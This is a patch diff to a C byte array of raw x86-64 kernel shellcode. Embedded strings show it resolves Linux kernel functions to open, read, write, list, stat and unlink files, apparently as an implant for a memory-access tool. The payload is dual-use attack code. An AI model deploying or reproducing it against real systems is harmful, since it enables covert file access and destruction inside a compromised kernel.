0x33, 0xc0, 0x48, 0x8b, 0xd6, 0xe8, 0xcc, 0xfc, 0xff, 0xff, 0x48, 0x8b, - 0x4b, 0x40, 0xe8, 0xc3, 0xfc, 0xff, 0xff, 0x4c, 0x8b, 0xc5, 0x48, 0x8b, - 0xd3, 0x48, 0x8b, 0xcf, 0xe8, 0xf7, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x48, - 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x6c, 0x24, 0x68, 0x48, 0x8b, 0x74, - 0x24, 0x70, 0x48, 0x83, 0xc4, 0x50, 0x5f, 0xc3, 0x48, 0x89, 0x5c, 0x24, + 0xc3, 0x0f, 0x09, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x55, 0x56, 0x57, + 0x48, 0x8d, 0x6c, 0x24, 0xf0, 0x48, 0x81, 0xec, 0x10, 0x01, 0x00, 0x00, + 0x33, 0xf6, 0xc7, 0x44, 0x24, 0x70, 0x73, 0x79, 0x73, 0x5f, 0x48, 0x8d, + 0x44, 0x24, 0x70, 0xc7, 0x44, 0x24, 0x74, 0x75, 0x6e, 0x6c, 0x69, 0x48, + 0x89, 0x45, 0xb0, 0x48, 0x8b, 0xda, 0x48, 0x8d, 0x45, 0x40, 0x66, 0xc7, + 0x44, 0x24, 0x78, 0x6e, 0x6b, 0x48, 0x89, 0x45, 0xb8, 0x44, 0x8d, 0x4e, + 0x08, 0x48, 0x8d, 0x45, 0x48, 0x40, 0x88, 0x74, 0x24, 0x7a, 0x48, 0x89, + 0x45, 0xc0, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0x49, 0x10, 0x48, 0x8d, 0x45, + 0x80, 0x48, 0x89, 0x45, 0xc8, 0x4c, 0x8b, 0xc2, 0x48, 0x8d, 0x44, 0x24, + 0x40, 0xc7, 0x45, 0x40, 0x6d, 0x65, 0x6d, 0x63, 0x48, 0x89, 0x45, 0xd0, + 0x48, 0x8d, 0x55, 0xb0, 0x48, 0x8d, 0x44, 0x24, 0x20, 0x66, 0xc7, 0x45, + 0x44, 0x70, 0x79, 0x48, 0x89, 0x45, 0xd8, 0x48, 0x8d, 0x44, 0x24, 0x50, + 0x48, 0x89, 0x45, 0xe0, 0x48, 0x8d, 0x45, 0x30, 0x48, 0x89, 0x45, 0xe8, + 0x40, 0x88, 0x75, 0x46, 0xc7, 0x45, 0x48, 0x6d, 0x65, 0x6d, 0x73, 0x66, + 0xc7, 0x45, 0x4c, 0x65, 0x74, 0x40, 0x88, 0x75, 0x4e, 0xc7, 0x45, 0x80, + 0x66, 0x69, 0x6c, 0x70, 0xc7, 0x45, 0x84, 0x5f, 0x63, 0x6c, 0x6f, 0x66, + 0xc7, 0x45, 0x88, 0x73, 0x65, 0x40, 0x88, 0x75, 0x8a, 0xc7, 0x44, 0x24, + 0x40, 0x66, 0x69, 0x6c, 0x70, 0xc7, 0x44, 0x24, 0x44, 0x5f, 0x6f, 0x70, + 0x65, 0x66, 0xc7, 0x44, 0x24, 0x48, 0x6e, 0x00, 0xc7, 0x44, 0x24, 0x20, + 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x44, 0x24, 0x24, 0x72, 0x65, 0x61, 0x64, + 0x40, 0x88, 0x74, 0x24, 0x28, 0xc7, 0x44, 0x24, 0x50, 0x76, 0x66, 0x73, + 0x5f, 0xc7, 0x44, 0x24, 0x54, 0x77, 0x72, 0x69, 0x74, 0x66, 0xc7, 0x44, + 0x24, 0x58, 0x65, 0x00, 0xc7, 0x45, 0x30, 0x79, 0x69, 0x65, 0x6c, 0x66, + 0xc7, 0x45, 0x34, 0x64, 0x00, 0xe8, 0x00, 0xfe, 0xff, 0xff, 0x85, 0xc0, + 0x75, 0x07, 0x33, 0xc0, 0xe9, 0xbb, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4f, + 0x10, 0x48, 0x8d, 0x55, 0x90, 0xc7, 0x45, 0x90, 0x69, 0x74, 0x65, 0x72, + 0xc7, 0x45, 0x94, 0x61, 0x74, 0x65, 0x5f, 0xc7, 0x45, 0x98, 0x64, 0x69, + 0x72, 0x00, 0xe8, 0x1f, 0xfe, 0xff, 0xff, 0x48, 0x89, 0x43, 0x40, 0x48, + 0x8d, 0x55, 0xa0, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x45, 0xa0, 0x76, 0x66, + 0x73, 0x5f, 0xc7, 0x45, 0xa4, 0x72, 0x65, 0x61, 0x64, 0xc7, 0x45, 0xa8, + 0x64, 0x69, 0x72, 0x00, 0xe8, 0xf9, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, + 0x48, 0x48, 0x39, 0x73, 0x40, 0x75, 0x05, 0x48, 0x85, 0xc0, 0x74, 0xa2, + 0x48, 0x8b, 0x4f, 0x10, 0x48, 0x8d, 0x54, 0x24, 0x30, 0xc7, 0x44, 0x24, + 0x30, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x44, 0x24, 0x34, 0x73, 0x74, 0x61, + 0x74, 0x40, 0x88, 0x74, 0x24, 0x38, 0xe8, 0xc7, 0xfd, 0xff, 0xff, 0x48, + 0x89, 0x43, 0x50, 0x48, 0x8d, 0x54, 0x24, 0x60, 0x48, 0x8b, 0x4f, 0x10, + 0xc7, 0x44, 0x24, 0x60, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x44, 0x24, 0x64, + 0x73, 0x74, 0x61, 0x74, 0x66, 0xc7, 0x44, 0x24, 0x68, 0x78, 0x00, 0xe8, + 0x9e, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, 0x58, 0x48, 0x39, 0x73, 0x50, + 0x75, 0x09, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x43, 0xff, 0xff, 0xff, 0xb8, + 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x9c, 0x24, 0x38, 0x01, 0x00, 0x00, + 0x48, 0x81, 0xc4, 0x10, 0x01, 0x00, 0x00, 0x5f, 0x5e, 0x5d, 0xc3, 0xcc, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xda, 0x41, 0xb9, 0xff, + 0x01, 0x00, 0x00, 0x49, 0x8d, 0x50, 0x18, 0x48, 0x8b, 0x4b, 0x20, 0x45, + 0x8d, 0x41, 0x42, 0xe8, 0x52, 0xfd, 0xff, 0xff, 0x48, 0xb9, 0x00, 0x00, + 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xc1, 0x76, 0x07, 0xb8, + 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x11, 0x48, 0x8b, 0x4b, 0x18, 0x45, 0x33, + 0xc0, 0x48, 0x8b, 0xd0, 0xe8, 0x2d, 0xfd, 0xff, 0xff, 0x33, 0xc0, 0x48, + 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, - 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8b, 0x49, 0x10, 0x48, 0x8b, 0xf9, 0x49, - 0x63, 0xf0, 0x48, 0x8b, 0xea, 0x49, 0x8b, 0x89, 0x00, 0x02, 0x00, 0x00, - 0x48, 0x8d, 0x81, 0x40, 0x02, 0x00, 0x00, 0x49, 0x3b, 0x81, 0x10, 0x02, - 0x00, 0x00, 0x0f, 0x87, 0x8b, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x99, 0x08, - 0x02, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x49, 0x03, 0x59, 0x28, 0x41, 0xb9, - 0x40, 0x02, 0x00, 0x00, 0x48, 0x03, 0xd9, 0x48, 0x8b, 0x4f, 0x18, 0x48, - 0x8b, 0xd3, 0x48, 0x8b, 0x49, 0x10, 0xe8, 0x3b, 0xfc, 0xff, 0xff, 0x8b, - 0x4c, 0x24, 0x58, 0xb8, 0x04, 0x00, 0x00, 0x00, 0x3b, 0xc8, 0x74, 0x1b, - 0x8d, 0x50, 0x04, 0x3b, 0xca, 0x74, 0x0b, 0x83, 0xf9, 0x0a, 0x0f, 0x45, - 0xc2, 0x48, 0x89, 0x03, 0xeb, 0x10, 0x48, 0xc7, 0x03, 0x01, 0x00, 0x00, - 0x00, 0xeb, 0x07, 0x48, 0xc7, 0x03, 0x02, 0x00, 0x00, 0x00, 0x33, 0xc9, - 0x85, 0xf6, 0x74, 0x20, 0x48, 0x83, 0xc3, 0x38, 0x48, 0x81, 0xf9, 0x03, - 0x01, 0x00, 0x00, 0x73, 0x13, 0x0f, 0xb6, 0x04, 0x29, 0x48, 0xff, 0xc1, - 0x66, 0x89, 0x03, 0x48, 0x83, 0xc3, 0x02, 0x48, 0x3b, 0xce, 0x72, 0xe4, - 0x48, 0x8b, 0x47, 0x10, 0x48, 0x81, 0x80, 0x00, 0x02, 0x00, 0x00, 0x40, - 0x02, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x33, 0xc0, 0x48, 0x8b, - 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x20, - 0x5f, 0xc3, 0xcc, 0xcc, 0x4c, 0x8b, 0xdc, 0x49, 0x89, 0x5b, 0x08, 0x49, - 0x89, 0x6b, 0x10, 0x49, 0x89, 0x73, 0x18, 0x57, 0x41, 0x54, 0x41, 0x55, - 0x41, 0x56, 0x41, 0x57, 0x48, 0x81, 0xec, 0xb0, 0x02, 0x00, 0x00, 0x45, - 0x33, 0xe4, 0x4d, 0x8d, 0x93, 0xc8, 0xfd, 0xff, 0xff, 0x48, 0xb8, 0x8f, - 0xe3, 0x38, 0x8e, 0xe3, 0x38, 0x8e, 0xe3, 0x4d, 0x8d, 0x48, 0x18, 0x4c, - 0x8b, 0xea, 0x48, 0x8b, 0xe9, 0x48, 0xf7, 0xa1, 0x00, 0x02, 0x00, 0x00, - 0x41, 0x8b, 0xc4, 0x48, 0x8b, 0xf2, 0x48, 0xc1, 0xee, 0x09, 0x4d, 0x2b, - 0xd0, 0x41, 0x8a, 0x09, 0x84, 0xc9, 0x74, 0x13, 0x43, 0x88, 0x4c, 0x0a, - 0xe8, 0x48, 0xff, 0xc0, 0x49, 0xff, 0xc1, 0x48, 0x3d, 0x04, 0x01, 0x00, - 0x00, 0x72, 0xe6, 0xc6, 0x84, 0x04, 0xa0, 0x00, 0x00, 0x00, 0x2f, 0x49, - 0x8b, 0xfc, 0x48, 0xff, 0xc0, 0x48, 0x89, 0xb5, 0x30, 0x02, 0x00, 0x00, - 0x48, 0x85, 0xf6, 0x0f, 0x84, 0xec, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0xbc, - 0x24, 0xa0, 0x00, 0x00, 0x00, 0x4d, 0x8b, 0xf4, 0x4c, 0x03, 0xf8, 0x48, - 0x8b, 0x9d, 0x08, 0x02, 0x00, 0x00, 0x49, 0x8b, 0xcc, 0x48, 0x03, 0x5d, - 0x28, 0x49, 0x03, 0xde, 0x48, 0x8d, 0x53, 0x38, 0x66, 0x44, 0x3b, 0x22, - 0x74, 0x16, 0x8a, 0x02, 0x48, 0x83, 0xc2, 0x02, 0x41, 0x88, 0x04, 0x0f, - 0x48, 0xff, 0xc1, 0x48, 0x81, 0xf9, 0x04, 0x01, 0x00, 0x00, 0x72, 0xe4, - 0x45, 0x88, 0x24, 0x0f, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x49, 0x8b, 0x4d, - 0x38, 0x48, 0x8d, 0x94, 0x24, 0xa0, 0x00, 0x00, 0x00, 0xe8, 0xdc, 0xfa, - 0xff, 0xff, 0x48, 0x85, 0xc0, 0x75, 0x4c, 0x48, 0x8b, 0x44, 0x24, 0x40, - 0x48, 0xba, 0x00, 0x91, 0x10, 0xb6, 0x02, 0x00, 0x00, 0x00, 0x48, 0x89, - 0x43, 0x30, 0x48, 0x8b, 0x4c, 0x24, 0x48, 0x48, 0x03, 0xca, 0x48, 0x69, - 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, 0x43, 0x08, 0x48, 0x8b, 0x4c, - 0x24, 0x68, 0x48, 0x03, 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, - 0x48, 0x89, 0x43, 0x18, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0x48, 0x03, 0xca, - 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, 0x43, 0x10, 0x48, - 0xb8, 0x15, 0xae, 0x47, 0xe1, 0x7a, 0x14, 0xae, 0x47, 0x48, 0xf7, 0xe7, - 0x48, 0x8b, 0xc7, 0x48, 0x2b, 0xc2, 0x48, 0xd1, 0xe8, 0x48, 0x03, 0xc2, - 0x48, 0xc1, 0xe8, 0x05, 0x48, 0x6b, 0xc8, 0x32, 0x48, 0x3b, 0xf9, 0x75, - 0x09, 0x49, 0x8b, 0x4d, 0x40, 0xe8, 0x5c, 0xfa, 0xff, 0xff, 0x48, 0xff, - 0xc7, 0x49, 0x81, 0xc6, 0x40, 0x02, 0x00, 0x00, 0x48, 0x3b, 0xfe, 0x0f, - 0x82, 0x22, 0xff, 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0xb0, 0x02, 0x00, - 0x00, 0x49, 0x8b, 0x5b, 0x30, 0x49, 0x8b, 0x6b, 0x38, 0x49, 0x8b, 0x73, - 0x40, 0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, - 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, + 0x48, 0x83, 0xec, 0x50, 0x48, 0x8b, 0xda, 0x49, 0x8b, 0xe8, 0x48, 0x8b, + 0xf9, 0x49, 0x8d, 0x50, 0x18, 0x45, 0x33, 0xc9, 0x41, 0xb8, 0x00, 0x00, + 0x05, 0x00, 0x48, 0x8b, 0x4b, 0x20, 0xe8, 0xef, 0xfc, 0xff, 0xff, 0x48, + 0x8b, 0xf0, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, + 0x48, 0x3b, 0xf0, 0x76, 0x0a, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xe9, 0x84, + 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x92, 0x00, 0x00, 0x00, 0xe8, 0x03, + 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x40, 0x4c, 0x8d, 0x05, 0x00, 0xfd, + 0xff, 0xff, 0x4c, 0x89, 0x44, 0x24, 0x20, 0x48, 0x89, 0x5c, 0x24, 0x38, + 0x48, 0x89, 0x7c, 0x24, 0x30, 0x48, 0x89, 0x6c, 0x24, 0x40, 0x48, 0x85, + 0xc9, 0x74, 0x0f, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x48, 0x8b, 0xd6, 0xe8, + 0x96, 0xfc, 0xff, 0xff, 0xeb, 0x16, 0x48, 0x8b, 0x4b, 0x48, 0x48, 0x85, + 0xc9, 0x74, 0x14, 0x4c, 0x8d, 0x4c, 0x24, 0x20, 0x48, 0x8b, 0xd6, 0xe8, + 0x7e, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x87, 0x28, 0x02, 0x00, 0x00, 0x48, + 0x8b, 0x4b, 0x18, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd6, 0xe8, 0x68, 0xfc, + 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x38, 0xe8, 0x5f, 0xfc, 0xff, 0xff, 0x4c, + 0x8b, 0xc5, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0xe8, 0xf7, 0x00, 0x00, + 0x00, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x6c, 0x24, + 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x83, 0xc4, 0x50, 0x5f, 0xc3, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, + 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8b, 0x49, 0x10, + 0x48, 0x8b, 0xf9, 0x49, 0x63, 0xf0, 0x48, 0x8b, 0xea, 0x49, 0x8b, 0x89, + 0x00, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x81, 0x40, 0x02, 0x00, 0x00, 0x49, + 0x3b, 0x81, 0x10, 0x02, 0x00, 0x00, 0x0f, 0x87, 0x8b, 0x00, 0x00, 0x00, + 0x49, 0x8b, 0x99, 0x08, 0x02, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x49, 0x03, + 0x59, 0x28, 0x41, 0xb9, 0x40, 0x02, 0x00, 0x00, 0x48, 0x03, 0xd9, 0x48, + 0x8b, 0x4f, 0x18, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0x49, 0x10, 0xe8, 0xd7, + 0xfb, 0xff, 0xff, 0x8b, 0x4c, 0x24, 0x58, 0xb8, 0x04, 0x00, 0x00, 0x00, + 0x3b, 0xc8, 0x74, 0x1b, 0x8d, 0x50, 0x04, 0x3b, 0xca, 0x74, 0x0b, 0x83, + 0xf9, 0x0a, 0x0f, 0x45, 0xc2, 0x48, 0x89, 0x03, 0xeb, 0x10, 0x48, 0xc7, + 0x03, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x07, 0x48, 0xc7, 0x03, 0x02, 0x00, + 0x00, 0x00, 0x33, 0xc9, 0x85, 0xf6, 0x74, 0x20, 0x48, 0x83, 0xc3, 0x38, + 0x48, 0x81, 0xf9, 0x03, 0x01, 0x00, 0x00, 0x73, 0x13, 0x0f, 0xb6, 0x04, + 0x29, 0x48, 0xff, 0xc1, 0x66, 0x89, 0x03, 0x48, 0x83, 0xc3, 0x02, 0x48, + 0x3b, 0xce, 0x72, 0xe4, 0x48, 0x8b, 0x47, 0x10, 0x48, 0x81, 0x80, 0x00, + 0x02, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, + 0x33, 0xc0, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, + 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, + 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, 0x89, 0x78, 0x18, 0x55, + 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0xa8, 0x78, + 0xfd, 0xff, 0xff, 0x48, 0x81, 0xec, 0x60, 0x03, 0x00, 0x00, 0x45, 0x33, + 0xdb, 0x4c, 0x8d, 0x55, 0x50, 0x48, 0xb8, 0x8f, 0xe3, 0x38, 0x8e, 0xe3, + 0x38, 0x8e, 0xe3, 0x4d, 0x8d, 0x48, 0x18, 0x4c, 0x8b, 0xea, 0x4c, 0x8b, + 0xf1, 0x48, 0xf7, 0xa1, 0x00, 0x02, 0x00, 0x00, 0x41, 0x8b, 0xc3, 0x48, + 0x8b, 0xf2, 0x48, 0xc1, 0xee, 0x09, 0x4d, 0x2b, 0xd0, 0x41, 0x8a, 0x09, + 0x84, 0xc9, 0x74, 0x13, 0x43, 0x88, 0x4c, 0x0a, 0xe8, 0x48, 0xff, 0xc0, + 0x49, 0xff, 0xc1, 0x48, 0x3d, 0x04, 0x01, 0x00, 0x00, 0x72, 0xe6, 0xc6, + 0x44, 0x05, 0x50, 0x2f, 0x49, 0x8b, 0xfb, 0x48, 0xff, 0xc0, 0x49, 0x89, + 0xb6, 0x30, 0x02, 0x00, 0x00, 0x48, 0x85, 0xf6, 0x0f, 0x84, 0x60, 0x01, + 0x00, 0x00, 0x4c, 0x8d, 0x65, 0x50, 0x4d, 0x8b, 0xfb, 0x4c, 0x03, 0xe0, + 0x49, 0x8b, 0x9e, 0x08, 0x02, 0x00, 0x00, 0x49, 0x8b, 0xcb, 0x49, 0x03, + 0x5e, 0x28, 0x49, 0x03, 0xdf, 0x48, 0x8d, 0x53, 0x38, 0x66, 0x44, 0x3b, + 0x1a, 0x74, 0x16, 0x8a, 0x02, 0x48, 0x83, 0xc2, 0x02, 0x41, 0x88, 0x04, + 0x0c, 0x48, 0xff, 0xc1, 0x48, 0x81, 0xf9, 0x04, 0x01, 0x00, 0x00, 0x72, + 0xe4, 0x45, 0x88, 0x1c, 0x0c, 0x49, 0x8b, 0x4d, 0x58, 0x48, 0x85, 0xc9, + 0x74, 0x6d, 0x48, 0x8d, 0x45, 0xb0, 0xc7, 0x44, 0x24, 0x28, 0xff, 0x07, + 0x00, 0x00, 0x41, 0xb9, 0x00, 0x08, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, + 0x20, 0x4c, 0x8d, 0x45, 0x50, 0xba, 0x9c, 0xff, 0xff, 0xff, 0xe8, 0x63, + 0xfa, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x0f, 0x85, 0xa2, 0x00, 0x00, 0x00, + 0x48, 0x8b, 0x45, 0xe8, 0x49, 0xb8, 0x00, 0x91, 0x10, 0xb6, 0x02, 0x00, + 0x00, 0x00, 0x48, 0x89, 0x43, 0x30, 0x48, 0x8b, 0x4d, 0xf0, 0x49, 0x03, + 0xc8, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, 0x43, 0x08, + 0x48, 0x8b, 0x4d, 0x10, 0x49, 0x03, 0xc8, 0x48, 0x69, 0xc1, 0x80, 0x96, + 0x98, 0x00, 0x48, 0x89, 0x43, 0x18, 0x48, 0x8b, 0x4d, 0x00, 0x49, 0x03, + 0xc8, 0xeb, 0x58, 0x49, 0x8b, 0x4d, 0x50, 0x4c, 0x8d, 0x44, 0x24, 0x30, + 0x48, 0x8d, 0x55, 0x50, 0xe8, 0x09, 0xfa, 0xff, 0xff, 0x48, 0x85, 0xc0, + 0x75, 0x4c, 0x48, 0x8b, 0x44, 0x24, 0x50, 0x48, 0xba, 0x00, 0x91, 0x10, + 0xb6, 0x02, 0x00, 0x00, 0x00, 0x48, 0x89, 0x43, 0x30, 0x48, 0x8b, 0x4c, + 0x24, 0x58, 0x48, 0x03, 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, + 0x48, 0x89, 0x43, 0x08, 0x48, 0x8b, 0x4c, 0x24, 0x78, 0x48, 0x03, 0xca, + 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, 0x43, 0x18, 0x48, + 0x8b, 0x4c, 0x24, 0x68, 0x48, 0x03, 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, + 0x98, 0x00, 0x48, 0x89, 0x43, 0x10, 0x48, 0xb8, 0x15, 0xae, 0x47, 0xe1, + 0x7a, 0x14, 0xae, 0x47, 0x48, 0xf7, 0xe7, 0x48, 0x8b, 0xc7, 0x48, 0x2b, + 0xc2, 0x48, 0xd1, 0xe8, 0x48, 0x03, 0xc2, 0x48, 0xc1, 0xe8, 0x05, 0x48, + 0x6b, 0xc8, 0x32, 0x48, 0x3b, 0xf9, 0x75, 0x09, 0x49, 0x8b, 0x4d, 0x38, + 0xe8, 0x89, 0xf9, 0xff, 0xff, 0x48, 0xff, 0xc7, 0x49, 0x81, 0xc7, 0x40, + 0x02, 0x00, 0x00, 0x41, 0xbb, 0x00, 0x00, 0x00, 0x00, 0x48, 0x3b, 0xfe, + 0x0f, 0x82, 0xaa, 0xfe, 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0x60, 0x03, + 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x30, 0x49, 0x8b, 0x73, 0x38, 0x49, 0x8b, + 0x7b, 0x40, 0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, + 0x5c, 0x5d, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x30, 0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xe8, 0x48, 0x8b, 0xd9, 0x49, 0x8d, 0x50, 0x18, 0x45, 0x33, 0xc9, 0x41, 0xb8, 0x00, 0x00, 0x04, 0x00, 0x48, 0x8b, - 0x4f, 0x20, 0xe8, 0xf3, 0xf9, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8, + 0x4f, 0x20, 0xe8, 0x1b, 0xf9, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xf0, 0x76, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x55, 0x4c, 0x8b, 0x83, 0x08, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x85, 0x28, 0x03, 0x00, 0x00, 0x4c, 0x03, 0x43, 0x28, 0x48, 0x8b, 0xd6, 0x4c, 0x8b, 0x8b, 0x10, 0x02, 0x00, 0x00, - 0x48, 0x8b, 0x4f, 0x28, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0xb0, 0xf9, + 0x48, 0x8b, 0x4f, 0x28, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0xd8, 0xf8, 0xff, 0xff, 0x48, 0x89, 0x83, 0x00, 0x02, 0x00, 0x00, 0x45, 0x33, 0xc0, - 0x48, 0x8b, 0x4f, 0x18, 0x48, 0x8b, 0xd6, 0xe8, 0x9a, 0xf9, 0xff, 0xff, + 0x48, 0x8b, 0x4f, 0x18, 0x48, 0x8b, 0xd6, 0xe8, 0xc2, 0xf8, 0xff, 0xff, 0x48, 0x8b, 0x83, 0x00, 0x02, 0x00, 0x00, 0x48, 0x39, 0x83, 0x10, 0x02, 0x00, 0x00, 0x1b, 0xc0, 0x25, 0x05, 0x00, 0x00, 0xf0, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x6c, 0x24, 0x48, 0x48, 0x8b, 0x74, 0x24, 0x50, @@ -1376,18 +1394,18 @@ const BYTE LINUX_X64_VFS_KSH[] = { 0x8b, 0xd8, 0x48, 0x8b, 0xfa, 0x4d, 0x8b, 0x40, 0x10, 0x45, 0x33, 0xc9, 0x49, 0xc1, 0xe0, 0x03, 0x41, 0x81, 0xe0, 0x00, 0x06, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x20, 0x48, 0x8d, 0x53, 0x18, 0x49, 0x81, 0xc8, 0x01, 0x00, - 0x04, 0x00, 0xe8, 0x33, 0xf9, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8, + 0x04, 0x00, 0xe8, 0x5b, 0xf8, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xf0, 0x76, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x42, 0x4c, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x83, 0x28, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x30, 0x4c, 0x8d, 0x83, 0x38, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xd6, - 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0xf4, 0xf8, 0xff, 0xff, 0x48, 0x8b, + 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x1c, 0xf8, 0xff, 0xff, 0x48, 0x8b, 0x4f, 0x18, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xd8, 0xe8, - 0xe2, 0xf8, 0xff, 0xff, 0x48, 0xf7, 0xdb, 0x1b, 0xc0, 0x25, 0x05, 0x00, + 0x0a, 0xf8, 0xff, 0xff, 0x48, 0xf7, 0xdb, 0x1b, 0xc0, 0x25, 0x05, 0x00, 0x00, 0xf0, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x74, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x30, 0x5f, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x81, 0xec, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, - 0xd9, 0xe8, 0x4a, 0xf9, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0x01, + 0xd9, 0xe8, 0x72, 0xf8, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0x01, 0x00, 0x00, 0xf0, 0xe9, 0xcf, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x93, 0x08, 0x01, 0x00, 0x00, 0x48, 0x03, 0x53, 0x28, 0x48, 0x81, 0xbb, 0x00, 0x01, 0x00, 0x00, 0x38, 0x03, 0x00, 0x00, 0x0f, 0x82, 0xae, 0x00, 0x00, 0x00, @@ -1395,15 +1413,15 @@ const BYTE LINUX_X64_VFS_KSH[] = { 0x02, 0x0f, 0x85, 0x9b, 0x00, 0x00, 0x00, 0xf6, 0x42, 0x10, 0x10, 0x0f, 0x85, 0x91, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x42, 0x08, 0x48, 0x83, 0xf8, 0x01, 0x75, 0x14, 0x4c, 0x8b, 0xc2, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x54, - 